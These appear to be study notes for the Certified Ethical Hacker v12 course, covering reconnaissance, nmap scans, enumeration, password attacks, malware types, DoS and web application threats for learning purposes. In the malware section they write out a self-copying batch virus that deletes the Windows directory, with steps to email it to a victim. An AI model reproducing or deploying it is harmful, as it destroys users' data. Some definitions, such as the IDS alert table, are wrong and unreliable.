Certified ethical hacker V12.

Module 1 : Introduction

- Elements of information security :

  - Confidentiality :
    Assurance that information is accessible to only those authorized users.

  - Integrity :

    The trustworthiness of data or resources in terms of preventing improper or unauthorized changes.

  - Availability :

    Information should be accessible when required authorized users.

  - Authenticity :

    Characteristic of communication, document or any data that ensures quality of being genuine.

  - Non repudiation :

    A guarantee that sender later cannot deny that he sent message and receiver cannot deny that he received message.

| Attacks = Motives (goal) + method + vulnerability |
|---|

- Classification of attacks :

  - Passive attacks
  - Active attacks
  - Close-in attacks
  - Insider attacks
  - Distribution attacks

- Hacker classes :

  - Black hats
  - White hats
  - Gray hats
  - Suicide hackers

- Script kiddies
- Cyber terrorists
- State-sponsored hackers
- Hacktivists
- Hacker teams
- Industrial spies
- Insider
- Criminal syndicats
- Organized hackers

Module 2 : Footprinting and reconnaissance :

- Footprinting is the first step of any attack on information systems in which an attacker collects information about target network to identify various ways to intrude in system.

- Types of footprinting :
  - Passive (without direct interaction)
  - Active (with direct interaction)

- Footprinting using advanced google hacking techniques :

| | | |
|---|---|---|
| 1 | (cache :) | displays web pages stored in google cache. |
| 2 | (link :) | lists web pages that have links to specified web page. |
| 3 | (related :) | lists web pages that are similar to specified web page. |
| 4 | (info :) | presents some information that google has about particular web page. |
| 5 | (site :) | restricts the results to those websites in given domain. |
| 6 | (allintitle :) | restricts results to those websites containing all search keywords in title. |
| 7 | (intitle :) | restricts results to documents containing search keyword in title. |
| 8 | (allinurl :) | restricts results to those containing all search keywords in URL. |
| 9 | (inurl :) | restricts results to documents containing search keyword in URL. |
| 10 | (location :) | finds info for specific location. |

- Gathering information from linkedin :

  Attackers use the Harvester tool to perform enumeration on linkedin and find employees of target company.

- Determining the operating system:
  - SHODAN :
    It lets you find connected device (routers, services, IOT, etc) using variety of filters.
  - Censys :
    It provides full view of every server and device exposed to internet.

- Collecting info through social engineering on social networking sites
  - Attackers use social engineering tricks to gather sensitive information from social networking websites.
  - A hackers create fake profile and then use the false identity to lure employees into revealing their sensitive info.

- Tools for footprinting through social networking sites
  - Sherlock : It is used to search vast number of social networking sites for target username.
  - Social searcher : It allows you to search for content in social networks in real time and provides deep analytics data.

- Traceroute

  Traceroute programs work on concept of ICMP protocol and use the TTL field in header of ICMP packets to discover routers on path to target host.

- Foot printing through social engineering
  - dropping
  - Shoulder surfing
  - Dumpster diving
  - Impersonation

Module 3 : Network scanning

- Network scanning refers to set of procedures used for identifying hosts, ports and services in network.
- Network scanning is one of the components of intelligence gathering which can be used by an attacker to create profile of target org.

- Nmap

  Attackers use Nmap to extract information such as live hosts on the network, open ports, services, type of packet filters / firewalls as well as os and versions used.

- Hping 3
  - Command line network scanning and packet crafting tool for TCP/IP protocol.
  - It can be used for network security auditing, firewall testing, etc.

- Host discovery

| | Scanning technique | Nmap command | Request |
|---|---|---|---|
| 1 | ARP ping scan | nmap - sn - PR < IP > | ARP request probe |
| 2 | UDP ping scan | nmap - sn - PU < IP > | UDP request |
| 3 | ICMPECHO ping scan | nmap - sn - PE < IP > | ICMP ECHO request |
| 4 | ICMP ECHO ping sweep | nmap - sn - PE < IP > | ICMP ECHO request to multiple hosts |
| 5 | ICMP timestamp | nmap - sn - PP < IP > | ICMP timestamp request |
| 6 | ICMP address mask ping scan | nmap - sn - PM < IP > | ICMP address mask request |
| 7 | TCP SYN ping scan | nmap - sn - PS < IP > | empty TCP SYN request |
| 8 | TCP ACK ping scan | nmap - sn - PA < IP > | empty TCP ACK request |

- Port scanning techniques

| | Scanning techniques | Nmap command |
|---|---|---|
| 1 | TCP connect / full open scan | nmap - sT - v < TP > |
| 2 | Stealth scan (Half open scan) | nmap - sS - v < IP > |
| 3 | Inverse TCP flag scan | nmap - (sF, - sN, - sX) - < IP > |
| 4 | Xmas scan | nmap - sX - v < IP > |
| 5 | FIN scan | nmap - sF - v < IP > |
| 6 | Null scan | nmap - sN - v < IP > |
| 7 | TCP maimon scan | nmap - sM - v < IP > |
| 8 | ACK flag probe scan | nmap - sA - v < IP > |
| 9 | TTL based ACK flag probe scan | nmap - sA - tH 100 – v < IP > |

- Nmap scan time reduction techniques
  - Omit non-critical tests
  - Optimize time parameters
  - Separate and optimize UDP scans
  - Upgrade Nmap
  - Execute concurrent Nmap instances

- OS discovery / Banner grabbing
  - Banner grabbing or os finger printing is the running on remote target system.
  - Types :
    - ✓ Active banner grabbing
    - ✓ Passive banner grabbing

- How to identify target system os
  - Attackers can identify os running on target role by looking at time to live (TTL) and TCP window size in IP header of first packet in TCP session.

| OS | TTL | TCP windows size |
|---|---|---|
| Linux | 64 | 5840 |
| Free BSD | 64 | 65535 |
| Open BSD | 255 | 16384 |
| Windows | 128 | 65,535 bytes to 1 GB |
| Cisco routers | 255 | 4128 |
| Solaris | 255 | 8760 |
| AIX | 255 | 16384 |

- IDS / firewall evasion techniques
  1. Packet fragmentation
  2. Source routing
  3. Source port manipulation
  4. IP address decoy
  5. IP address spoofing
  6. MAC address spoofing
  7. Creating custom packets
  8. Randomizing host order & sending bad checksum
  9. Proxy servers
  10. Anonymizers

1. Packet fragmentation :
   Pocket fragmentation refers to splitting of probe packet into several smaller packets while sending it to network.

2. Source routing :
   Source routing refers to sending packet to the intended destination with partially or completely specified route in order to evade an IDS / firewall.

3. Source port manipulation :
   Source port manipulation refers to manipulating actual port numbers with common port numbers in order to evade an IDS / firewall.

4. IP address decoy :
   It refers generating or manually specifying the IP addresses of decoys in order to evade an IDS or firewall.

5. IP address spoofing :
   It refers to changing the source IP addresses so that attack appears to be coming from someone else.

6. MAC address spoofing :
   Attackers use –spoof – MAC Nmap option to set specific MAC address for packets to evade firewalls.

7. Creating custom packets :
   Attackers create custom TCP packets using various packets using various packet crafting tools like cola soft packet builder, net scan tools pro, etc to scan target beyond a firewall.

8. Randomizing host order & sending bad checksum :

   Attackers can number of hosts in target network in random order to scan an intended target to avoid certain firewall rule sets.

9. Proxy servers :
   A proxy server is application that can serve as an intermediary for connecting with other computers.

10. Anonymizers :
    Anonymizer removes all identity information from user's computer file user surfs the internet.

Module 4 : Enumeration

Enumeration involves an attacker creating active connections with target system and performing directed quires to gain more information about target.

- Information enumerated by intruders
  - Network resources
  - Network shares
  - Routing tables
  - Machine names
  - Users and groups

- Techniques for enumeration
  - Extracting usernames using email IDS
  - Extract information using default passwords
  - Brute force active directory
  - Extract information using DNS zone transfer
  - Extract user groups from windows
  - Extract usernames using SNMP

- Services & ports to enumerate
  - TCP / UDP 53 :
    Domain name system (DNS) zone transfer
  - TCP / UDP 135 :
    Microsoft RPC end point mapper
  - UDP 137 :
    NetBIOS name service

- TCP 139 :
  NetBIOS session service
- TCP / UDP 445 :
  SMP over TCP (direct host)
- UDP 161 :
  Simple network management protocol (SNMP)
- TCP / UDP 389 :
  Lightweight directory access protocol (LDAP)
- TCP 2049 :
  Network file system
- TCP / UDP 162 :
  SNMP trap
- UDP 500 :
  ISAKMP
- TCP 22 :
  Secure shell (SSH)

- NetBIOS enumeration :
  - A NetBIOS name is unique 16 ASCII character string used to identify network devices over TCP / IP ; fifteen characters are used for device name and $16^{th}$ for service or name record type.

- NetBIOS enumeration tools :
  - NetBIOS enumerator
  - Nmap

- LDAP enumeration :
  - Lightweight directory access protocol is an internet protocol for accessing distributed services.

- NTP enumeration
  - Network time protocol is designed to synchronize clocks of networked computers.
  - It uses UDP port 123 as its primary means of communication.
  - Commands :
    - ✓ ntptrace
    - ✓ ntpdc
    - ✓ ntpq

Module 5 : Vulnerability analysis

- Vulnerability :
  Refers to existence of weakness in an asset that can be exploited by threat agents.

- Reasons behind existence of vulnerability :
  - Hardware or software misconfiguration

- Insecure or poor design of n/w or application
- Inherent technology weaknesses
- Careless approach of end users.

- Vulnerability assessment :
  - Vulnerability assessment is an in – depth examination of ability of system or application, including current security procedures and controls to withstand the exploitation.
  - It recognizes measures and classifies security vulnerabilities in computer system, network and communication channels.

- Vulnerability scoring systems and databases
  - Common vulnerability scoring system (CVSS)
  - Common vulnerability & exposures (CVE)
  - National vulnerability database (NVD)
  - Common weakness enumeration (CWE)

- Vulnerability classification
  - Misconfiguration
  - Application flaws
  - Poor patch management
  - Design flaws
  - Third-party risks
  - Default installations
  - Operating system flaws
  - Default passwords
  - Zero day vulnerability
  - Legacy platform vulnerability

- Types of vulnerability assessment
  - Active assessment
  - Passive assessment
  - External assessment
  - Internal assessment
  - Host – based assessment
  - Network based assessment
  - Application assessment
  - Database assessment
  - Wireless network assessment
  - Distributed assessment
  - Credentialed assessment
  - Manual assessment
  - Automated assessment

- Vulnerability assessment tools :
  - Qualys

- Nessus
- GFI LanGuard
- OpenVAS
- Nikto

- For mobile :
  - Vulners scanner
  - Security Metrics mobile

Module 6 : System hacking

- Microsoft authentication :
  - Security accounts manager (SAM) database:
    Windows stores user passwords in SAM or in active directory database in domains.

  - NTLM authentication :
    - ✓ Types : NTLM authentication protocol
      LM authentication protocol
    - ✓ These protocols store user's password in SAM database using different hashing methods.

  - Kerberos authentication ;
    - ✓ Microsoft has upgraded its default authentication protocol to Kerberos which provides stronger authentication for client / server than NTLM.

- Password cracking techniques :
  - Password cracking techniques are used to recover passwords from computer systems.
  - Attackers use password cracking techniques to gain unauthorized access to vulnerable system.
  - Most of password cracking techniques are successful because of weak or easily guessable passwords.

- Types of password attacks.

1. Non –electric attacks :
   - Shoulder surfing
   - Social engineering
   - Dumpster diving

2. Active online attacks :
   - Brute forcing
   - Trojan / spyware / keylogger
   - Hash injection

3. Passive online attacks :
   - Wire sniffing
   - Man – in – the – middle attack
   - Replay attack

4. Offline attacks :
   - Rainbow table attack
   - Distributed network attack

1. Non –electric attacks :
   - Shoulder surfing :
     Looking at users keyboard or scree while he/she is logging in.

   - Social engineering :
     Convincing people to reveal passwords.

   - Dumpster diving :
     Searching for useful information in user's trash-bins, printer trash bins.

2. Active online attacks :
   - Dictionary attack :
     A dictionary file is loaded in cracking application that runs against user accounts.

   - Brute force attack :
     The program tires every combination of characters until password is broken.

   - Trojan / spyware / keylogger :
     The attacker installs Trojan / spyware / keylogger on victims machine to collect the victim's usernames or password.

3. Passive online attacks :
   - Wire sniffing :
     Attackers run packet sniffer tools on LAN to access and record the raw network traffic sniffed credentials are used to gain unauthorized access to target system.

   - Man – in – the – middle attack :
     In MITM the attacker acquires access to the communication channels between victim and server to extract information needed.

4. Offline attacks :
   - Rainbow table attack :
     A rainbow table is precomputed table that contains word lists like dictionary files, brute force lists, hash values.

   - Compare the hashes :
     The hash of passwords is captured and compared with precomputed hash table. If a match is found then the password gets cracked.

- Password salting :
  Password salting is a technique where a random string of characters are added to the password before calculating their hashers.

- Buffer overflow:
  - Buffer overflow is an area of adjacent memory locations allocated to program or application to handle its runtime data.

  - Buffer overflow is common vulnerability in an application or programs that accepts more data than allocated buffer.
  - Types :
    - Stack-based
    - Heap-based

- Active directory enumeration
  - Attackers perform active directory enumeration to extract sensitive information such as groups, users, domains and other resources from the target AD environment.
  - Attackers enumerate AD using powershell tools such as powerview.

- Hardware keyloggers
  - keygrabber
  - keycarbon
  - keyghost
  - keykatcher

- Keyloggers for windows :
  - Spyrix keylogger free
  - Elite keylogger
  - Spytector
  - REFOG personal monitor

- Keyloggers for Mac OS :

- REFOG Mac keyloggers
- Aobo Mac OS X keylogger
- Kidlogger
- Pefect keylogger

- Spyware :
  - Spyware is stealthy program that records the user's interaction with computer and internet without user's knowledge and sends the information to the remote attackers.

- Spyware tools :
  - Spytech spyagent
  - Power spy

- Types of spyware :
  - Desktop spyware
  - Email spyware
  - Internet spyware
  - Child-monitoring spyware
  - Screen-capturing spyware
  - USB spyware
  - Audio spyware
  - Video spyware
  - Print spyware
  - Telephone spyware
  - GPS spyware

- Antikeyloggers :
  - Zemana antikeylogger
  - Guarded ID
  - Key Scrambler
  - Ghostpress

- Antispywares :
  - SUPERanti spyware
  - Kaspersky total security 20
  - Adaware antivirus free
  - Macscan

- Rootkits :
  - Rootkits are the programs that hide their presence as well as attacker's malicious activities, granting them full access to server or host at that time and in future.

- Types of rootkits :
  - Hypervisor level rootkits

- Hardware / firmware rootkits
- Kernel level rootkits
- Bootloader level rootkits
- Application level rootkits
- Libraries level rootkits

- Antirootkits :
  - GMER
  - Stinger
  - Avast one
  - TDSSkiller

- Steganography :
  - Steganography is a technique of hiding secret message within an ordinary message and extracting it at the destination to maintain confidentiality of data.

- Steganography detection tools :
  - Zsteg
  - Stegoveritas
  - Stegextract
  - Steganography studio

Module 7 : Malware threats

- Malware :
  - Malware is malicious software that damages of disables computer system and gives limited or full control of system to malware creator for purpose of theft or fraud.

  - Example of malware :
    1. Trojans
    2. Backdoor
    3. Rootkits
    4. Ransomware
    5. Adware
    6. Viruses
    7. Worms
    8. Spyware
    9. Botnets
    10. Crypters

- Common techniques attackers use to distribute malware on web
  - Black hat search engine optimization (SEO)
  - Social engineering click-jacking
  - Spear-phishing sites
  - Malvertising
  - Compromised legitimate websites

- Drive-by downloads
- Spam emails
- RTF injection

- Components of malware :
  1. Crypter : Software that protects malware from undergoing reverse engineering or analysis, makes security mechanism harder in detection.

  2. Downloader :Type of Trojan that downloader other malware from internet on PC.

  3. Dropper : Type of Trojan that covertly installs other malware files on system.

  4. Exploit : Malicious code that breaches security via software vulnerabilities to access information or install malware.

  5. Injector : A program that injects its code into other vulnerable running processes.

  6. Obfuscator : Program that conceals its code and intended purpose via various techniques, makes hard for security mechanisms to detect or remove it.

  7. Packer : Program that allows all files to bundle together into a single executable file via compression to bypass security software detection.

  8. Payload : Piece of s/w that allows control over system.

  9. Malicious code : Command that defines malware's basic functionalities such as stealing data & creating backdoors.

- Adware :
  - A software or program that supports advertisements and generates unsolicited ads and pop-ups.

  - Tracks the cookies and user browsing patterns for marketing purposes and collects data.

- Advanced persistent threats (APT's) :
  - APT's are defined as type of network attack where an attacker gains unauthorized access to target network and remains undetected for long period of time.

- Trojan :
  - It is a program in which the malicious or harmful code is contained inside an apparently harmless program or data, which can later gain control and cause damage.

- How to infect systems using Trojans :
  - Step 1 : Create new Trojan packet.
  - Step 2 : Employ a dropper or downloader to install malicious code on target system.
  - Step 3 : Employ a wrapper to bind Trojan to file.
  - Step 4 : Employ a crypter to encrypt Trojan.
  - Step 5 : Propagate the Trojan by various methods.
  - Step 6 : Deploy the Trojan on victim's machine by execute damage routine.
  - Step 7 : Execute damage routine.

- Wrapper :
  - Wrapper binds Trojan executable fire with genuine looking exe apps such as games or office apps.

- Virus :
  - A virus is self-replicating program that produces its own copy by attaching itself to another program, computer boot sector or document.

- Stages of virus lifecycle :
  - Design
  - Replication
  - Launch
  - Detection
  - Incorporation
  - Execution of damage routine

- Types of viruses :
  - System or boot sector virus
  - File and multipartite virus
  - Macro and cluster virus
  - Stealth virus
  - Encrypted virus
  - Spare infector virus
  - Polymorphic virus
  - Metamorphic virus
  - Web scripting virus

- Virus can be created in different ways :
  - Writing a virus program
  - Using virus maker tools

- Creating virus (writing)

1. create batch file Game.bat with :
   @echo off

   For %%f in (*.bat) do copy %%f + Game.bat

   del c:\window*.*
2. Convert Game.bat into Game.com using the bat2com utility.
3. Send Game.com file as an email attachment to victim.
4. When Game.com is executed by victim, it copies itself to all .bat files in current directory on target machine and deletes all files in windows directory.

- Worms :
  - Computer worms are malicious programs that independently replicate, execute and spread across the network connections, thus consuming available computing resources without human interaction.

| | Virus | Worm |
|---|---|---|
| 1 | Virus infect system by inserting itself into file or executable program. | Worm infects system exploiting vulnerability in an OS or application by replicating itself. |
| 2 | It might delete or alter content of files or change location of files in system. | Worm does not modify any stored programs it only exploits CPU & memory. |
| 3 | It alters the way computer system operates without knowledge or consent of user. | It consumer network bandwidth, system memory, etc. excessively overloading servers. |
| 4 | Viruses are difficult to remove from infected machines. | Compared to viruses, worms can be removed easily from system. |

- Fileless malware :
  - Fileless malware, also known as non-malware, infects legitimate software, applications and other protocols exiting in system to perform various malicious activities.

- Sheep Dip computer :
  - Sheep dipping refers to analysis of suspect files, incoming messes, etc. for malware.

- Sheep dipping process tasks :
  - Run user, group permission and process monitors
  - Run port and network monitors.
  - Run device driver and file monitors.
  - Run registry and kernel monitors.

- Malware analysis :
  - Malware analysis is process of reverse engineering a specific piece of malware to determine the origin, functionality and potential impact of given type of malware.

- Types of malware analysis :
  - Static malware analysis
  - Dynamic malware analysis

- Static malware analysis :
  - In static malware analysis, we do not run the malware code, so there is no need to create safe environment.
  - It employees different tools and techniques to quickly determine if file is malicious.

- Static malware analysis techniques :
  1. File fingerprinting
  2. Local and online malware scanning
  3. Performing string search
  4. Identifying packets/obfuscation method
  5. Finding portable executables into
  6. Identifying file dependencies
  7. Malware disassembly
  8. Analyzing ELF executable files
  9. Analyzing Match-o executable files
  10. Analyzing malicious MS office documents.

- Dynamic malware analysis :
  - In dynamic malware analysis, the malware is executed on system to understand its behavior after infection.

- Virus detection methods :
  - Scanning
  - Integrity checking
  - Interception
  - Code emulation
  - Heuristic analysis

Module 8 : Sniffing

- Packet sniffing :
  - Packet sniffing is the process of monitoring and capturing all data packets passing through a given network using a software application or hardware device.

- Type of sniffing :
  - Passive sniffing :
    It refers to sniffing through a hub, where in the traffic is sent to all ports.
  - Active sniffing :
    It is used to sniff a switch based network.

- Protocols vulnerable to sniffing :
  - Telnet and Rlogin
  - IMAP
  - HTTP
  - SMTP and NNTP
  - POP
  - FTP

- SPAN Port : (switched port analyzer)
  - Span port is a port that is configured to receive a copy of every packet that passes through switch.

- Wiretapping :
  - Wiretapping is the process of monitoring of telephone and internet conversation by third party.
    - ✓ Types :
      1. Active wiretapping
      2. Passive wiretapping

- MAC address / CAM table :
  - Each switch has a fixed size dynamic content addressable memory (CAM) table.
  - The CAM table stores information such as MAC addresses available on physical port with their associated VLAN.

- DHCP starvation attack :
  - This is a DOS attack on DHCP servers where the attacker broadcasts forged DHCP requests and tries to lease all the DHCP addresses available in DHCP scope.

- ARP spoofing attack :
  - Address resolution protocol is stateless protocol used for resolving IP address to MAC addresses.
  - ARP spoofing involves constructing many forged ARP request and reply pocket to overload switch.

- Threats of ARP poisoning :
  - Packet sniffing
  - Session hijacking
  - VoIP call tapping
  - Manipulating data
  - MITM attack

- IRDP spoofing :
  - ICMP router discovery protocol (IRDP) is routing protocol that allows host to discover IP addresses of active routers on their subnet by listening to router advertisement and soliciting messages on their network.

- VLAN hopping :
  It is a technique used to target network resources present on virtual lan.

  - Primary methods :
    - ✓ Switch spoofing
    - ✓ Double tagging

- DNS poisoning :
  - DNS poisoning is technique that tricks DNS server into believing that it has received authentic information when it has not received any.

- DNS cache poisoning :
  - DNS cache poisoning refers to altering or adding forged DNS records into the DNS resolver cache so that DNS query is redirected to malicious site.

- How to detect sniffing :
  - Check devices running in promiscuous mode
  - Run IDS
  - Run network tools.

Module 9 : Social engineering

- Social engineering :
  - Social engineering is the art of convincing people to reveal confidential information.

- Phases of Social engineering attack :
  - Research the target company :
    Dumpster diving, websites, employees, etc.

  - Select a target :
    Identify frustrated employees of target company.

  - Develop relationship :
    Develop relationship with selected employees.

  - Exploit relationship :

Collect sensitive account & financial info, as well as current technologies.

- Types of Social engineering :
  - Human based Social engineering :
    - ✓ Dumpster diving
    - ✓ Impersonation
    - ✓ Vishing
    - ✓ Eavesdropping
    - ✓ Shoulder surfing

  - Computer based Social engineering
    - ✓ Phishing
    - ✓ Spam mail
    - ✓ Scareware

  - Mobile based Social engineering
    - ✓ Publishing malicious apps
    - ✓ Using fake security apps
    - ✓ SMS phishing

- Human based social engineering
  - Impersonation :
    The attacker pretends to be someone legitimate or an authorized person.

  - Vishing :
    Voice or VOIP phishing is an impersonation technique in which attacker trick individual to reveal personal or financial information.

  - Eaves dropping :
    Unauthorized listening of conversations or reading of messages.

  - Shoulder surfing :
    Direct observation techniques such as looking over someone's shoulder to get information such as PIN, password, etc.

- Computer based Social engineering
  - Pop-up windows :
    Windows that suddenly pop-up while surfing the internet & ask for user info to login.

  - Hoax letters :
    Emails that issue warnings to user about new viruses, Trojans, worms that may harm user's.

  - Scareware :

Malware that tricks computer user into visiting malware infected websites or down loading buying potentially malicious software.

- Phishing :
  Phishing is practice of sending an legitimate email claiming to be from legitimate site in an attempt to acquire user's personal or account information.

- Types of phishing :
  - Spearphishing :
    A targeted phishing attack aimed at specific individuals within an organization.

  - Whaling :
    An attacker targets high profile executives like CEO, CFO, celebs, politician who have complete access to confidential & highly valuable information.

  - Pharming :
    The attacker redirects web traffic to fraudulent website by installing malicious program on personal computer or server.

  - Spimming :
    A variant of spam that exploits instant messaging platforms to flood spam across the network.

- Types of insider threats :
  - Malicious insider
  - Negligent insider
  - Professional insider
  - Compromised insider
  - Accidental insider

- Social engineering counter measures :
  - Train individuals on security policies
  - Implement proper access privileges
  - Presence of proper incidence response time
  - Implement two-factor authentication
  - Anti-virus defenses

Module 10 : Denial-of-service

- DOS attack :
  Denial-of-service is an attack computer or network that reduces, restricts or prevents accessibility of system resources to its legitimate users.

- DDOS attack :
  Distributed Denial-of-service is coordinated attack that involves multitude of compromised systems attacking a single target, thereby denying service to users of targeted system.

- Botnets :
  A botnet is huge network of compromised system and can be used by an attacker to launch DOS attacks.

- Basic categories of DOS/DDOS attacks :
  - Volumetric attacks :
    - ✓ Consume bandwidth of target network or service
    - ✓ Magnitude is measures in bit-per-sec(bps)
    - ✓ Attack techniques :
      - UDP flood attack
      - ICMP flood
      - Ping of death & smurf
      - Pulse wave & zero-day

  - Protocol attacks :
    - ✓ Consume resources like connection state tables present in network infrastructure components such as load-balancers, firewalls.
    - ✓ Magnitude is measured in packets-per-sec (PPS)
    - ✓ Attack techniques :
      - SYN flood
      - Fragmentation
      - ACK flood
      - TCP sack panic

  - Application layer attackers :
    - ✓ Consume resources or services of an application thereby making the application unavailable to other legitimate users.
    - ✓ Magnitude is measured in requests-per-sec (rps)
    - ✓ Attack techniques :
      - HTTP GET/POST attack
      - Slowloris
      - DDOS extortion

- UDP flood attack :
  An attacker sends spoofed UDP packets at a very high packet rate to remote host on random ports of target server using large source IP range.

- ICMP flood attack :
  ICMP flood attacks are type of attacks in which attackers send large volumes of ICMP echo request packets to victim system directly or through reflection network.

- Ping of death attack :
  In a POD, an attacker tries to crash, destabilize or freeze the targeted system or service by sending malformed or oversized packets using a simple ping command.

- Smurf attack :
  In smurf attack, the attacker spoofs the source IP address with victim's IP address and sends a large number of ICMP echo requests packets to an IP broadcast network.

- SYN flood attack :
  The attacker sends large number of SYN requests with fake source IP address to target server.

- HTTP GET/Post attack :
  - In HTTP GET attack, attackers use time-delayed HTTP header to maintain HTTP connections and exhaust web server resources.
  - In HTTP POST attack, attackers send HTTP requests with complete headers but with incomplete message bodies to target web server or application.

- Slowloris attack :
  In the slowloris attack, the attacker sends partial HTTP requests to target web server or app.

- Multi-vector attack :
  In multi-vector attack, the attackers use combinations of volumetric, protocol and application layer attacks to disable the target system or service.

- DDOS extorsion/Ransom DDOS :
  In this attack, attackers threaten target organizations with DDOS attack and insist them to pay a specified ransom amount.

- Detection techniques :
  - Activity profiling
  - Sequential change-point detection
  - Wavelet-based signal analysis

- DDOS countermeasures :
  - Protect secondary victims

- Detect & neutralize handlers
- Prevent potential attacks
- Deflect attacks
- Mitigate attacks

Module 11 : Session Hijacking

- Session Hijacking :
  It refers to an attack in which an attacker seizes control of valid TCP communication session between two computers.

- Why session hijacking is successful?
  - Absence of account lockout for invalid session TDS
  - Indefinite session timeout
  - Weak session-ID generation algorithm
  - Most computers using TCP/IP are vulnerable
  - Insecure handing of session IDS

- Session hijacking process :

  Command injection - Start injecting packets to target

  Session ID prediction - Take over session

  Session desynchronization - Break connection to victim's m/c

  Monitor - Monitor flow of packets & predict sequence no.

  Sniff - Place yourself between the victim and target

- Types of session hijacking :
  - Passive :
    In passive, an attacker hijacks a session but sits back, watches and records all the traffic in that session.
  - Active :
    In active, an attacker finds an active session and seizer control of it.

- Session hijacking in OSI model :
  - Network-level
  - Application-level

- Spoofing vs Hijacking

| | Spoofing | Hijacking |
|---|---|---|
| 1 | An attacker pretends to be another user or machine to gain access. | Session hijacking is the process of seizing control of an existing active session. |

| | | |
|---|---|---|
| 2 | The attacker does not seize control of an existing active session; instead, he or she initiates a new session using victim's stolen credentials. | The attacker relies on the legitimate user to create a connection & authenticate. |

Module 12 : Evading IDS, firewalls, honeypots

- Intrusion detection systems (IDS) :
  An IDS is software or hardware device that inspects all inbound and outbound network traffic for suspicious patterns that may indicate a network or system security breach.

- Types of IDS :
  - Network based intrusion detection systems
  - Host based intrusion detection system

- Types of IDS alerts :
  - True positive :- (Attack-alert)
  - False positive :- (No attack-alert)
  - False negative :- (Attack - alert)
  - True negative :- (No attack – no alert)

- Intrusion prevention system (IPS) :
  - An IPS is also considered as an active IDS since it is capable of not only detecting intrusions but also preventing them.
  - It is continuous monitoring system that often sits behind firewalls as an additional layer of protection.

- Firewall :
  - Firewalls are hardware or software designed to prevent unauthorized access to or from private network.

- Types of firewalls :
  - Hardware firewalls
  - Software firewalls

- Honeypot :
  - A honeypot is an information system resource that is expressly set up to attract and trap people who attempt to penetrate an organizations network.

- Types of honeypots :
  - Low interaction
  - Medium- interaction

- High-interaction
- Pure honeypots

- IDS evasion techniques :
  - Insertion attack
  - Unicode evasion
  - DOS attack
  - Obfuscating
  - Fragmentation attack

- Firewall evasion techniques :
  - Firewalking
  - Banner grabbing
  - IP address spoofing
  - Source routing
  - ICMP tunneling

Module 13 : Web server hacking

A web server is computer that stores, processes and delivers web pages to clients via HTTP.

- DNS server hijacking :
  Attacker compromises DNS server and changes the DNS setting so that all the requests coming towards the target web server are redirected to his/her own malicious server.

- DNS amplification attack :
  Attacker takes advantage of DNS recursive method of DNS redirection to perform DNS amplification attack.

- Directory traversal attack:
  In directory traversal attack, attackers use the ../ (dot-dot-slash) sequence to access restricted directories outside web server root directory.

- Web defacement :
  Website defacement occurs when an intruder maliciously alters visual appearance of wen page by inserting or substituting provocative and frequently, offending data.

- Web server misconfiguration :
  Server misconfiguration refers to configuration weakness in web infrastructure that can be exploited to launch various attacks on web servers such as directory traversal, data theft.

- HTTP response-splitting attack :
  HTTP response-splitting attack involves adding header response data into input field so that server splits the response into two responses.

- Web cache poisoning attack :
  - Web cache poisoning attacks the reliability of an intermediate web cache source.
  - In this attack, attackers swap cached content for random URL with infected content.

- SSH brute force attack :
  - SSH protocols are used to create an encrypted SSH tunnel between two hosts to transfer unencrypted data over an insecure network.
  - Attackers can brute force SSH login credentials to gain unauthorized access to SSH tunnel.

- Web server attack methodology :
  - Information gathering
  - Web server footprinting
  - Website mirroring
  - Vulnerability scanning
  - Session hijacking
  - Web server password cracking

Module 14 : Hacking web applications

- Web services :
  - A web service is an application or software that is deployed over internet and uses standard messaging protocols such as SOAP, UDDI, WSDL, REST to enable communication between applications developed for different platforms.

- Vulnerability stack :

| | | |
|---|---|---|
| Custom web apps | layer 7 | Business logic flows technique vulnerabilities |
| Third party components | layer 6 | open source/commercial |
| Webserver | layer 5 | Apache/Microsoft IPS |
| Database | layer 4 | oracle/MYSQL |
| OS | layer 3 | windows/Linux |
| Network | layer 2 | router/switch |
| Security | layer 1 | IPS/IDS |

- Owasp top 10 – 2021
  A01 Broken access control
  A02 Cryptographic failures
  A03 Injection
  A04 Insecure design
  A05 Security misconfiguration
  A06 Vulnerable and outdated components
  A07 Identification & authentication failures
  A08 Software and data integrity failures
  A09 Security logging and monitoring failures
  A10 Server-side request forgery (SSRF)

- A01 Broken access control :
  - Access control refers to how web application grants access to its content and functions for some privileged users and restricts others.
  - Broken access control is method in which an attacker identifies flow related to access control and bypasses authentic action, which allows them to compromise network.

- A02 Cryptographic failures :
  - Many web applications do not properly protect their sensitive data from unauthorized access.
  - Sensitive data exposures occurs due to flows like insecure cryptographic storage & info leakage.

- A03 Injection :
  - Injection flows are web application vulnerabilities that allow untrusted data to be interpreted and executed as part of command or query.
    - SQL injection
    - Command injection
    - LDAP injection
    - XXS cross site scripting

- A04 Insecure design :
  - Insecure design flows arise in an application because of the improper implementation of security controls and can lead to crucial vulnerabilities such as SQLi and open S3 buckets.

- A05 Security misconfiguration :
  - By exploiting misconfiguration vulnerabilities such as unvalidated inputs, parameter/from tampering, improper error handling and insufficient transport layer protection, attackers gain unauthorized access to default accounts, read unused pages, read/ write unprotected files and directories etc.

- A06 Vulnerable and outdated components :
  - Most web applications that use components such as libraries and frameworks always execute them with full privileges and flows in any component can result in serious impact.

- A07 Identification & authentication failures :
  - Attackers can exploit vulnerabilities in identification, authentication or session management functions such as exposed accounts, session IDS, logout, password, management, timeouts, remember me, secret question to impersonate users.

- A08 Software and data integrity failures :
  - Software and data integrity failures occurs when organization fail to update the applications software with latest versions or patches.

- A09 Security logging and monitoring failures :
  - Security logging and monitoring failures covers application weaknesses such as insufficient logging, improper output neutralization for logs, exclusion of security-relevant information and addition of sensitive information to log files.

- A10 Server-side request forgery (SSRF) :
  - Attackers exploit SSRF vulnerabilities in a public web server to send crafted requests to internal or backend servers.

- Other web application threats :
  - Directory traversal
  - Unvalidated redirects and forwards
  - Watering hole attack
  - Web service attack
  - Cookie snooping

- Web API :
  Web API is an application programming interface that provides online web services to client-side apps for retrieving and updating data from multiple online sources.

- Web
  - SOAP API
  - REST API
  - RESTful API
  - YML-RPC
  - JSON-RPC

- Webhooks :
  - Webhooks are user-defined HTTP callback or push such as receiving comment on post pushing code to registry.

- API vulnerabilities :
  1. Enumerated resources
  2. Sharing resources via unsigned URLS
  3. Vulnerabilities in third-party libraries
  4. Improper use of CORS
  5. Code injection
  6. RBAC privilege escalation
  7. No ABAC validation
  8. Business logic flows

- Web API hacking methodology :
  1. Identify target
  2. Detect security standards
  3. Identify attack surface
  4. Launch attacks

- Web shells :
  - A web shell is malicious piece of code or script that is developed using server-side languages such a PHP, ASP, PERL, RUBY, Python and are then installed on target server.

- Web application security testing
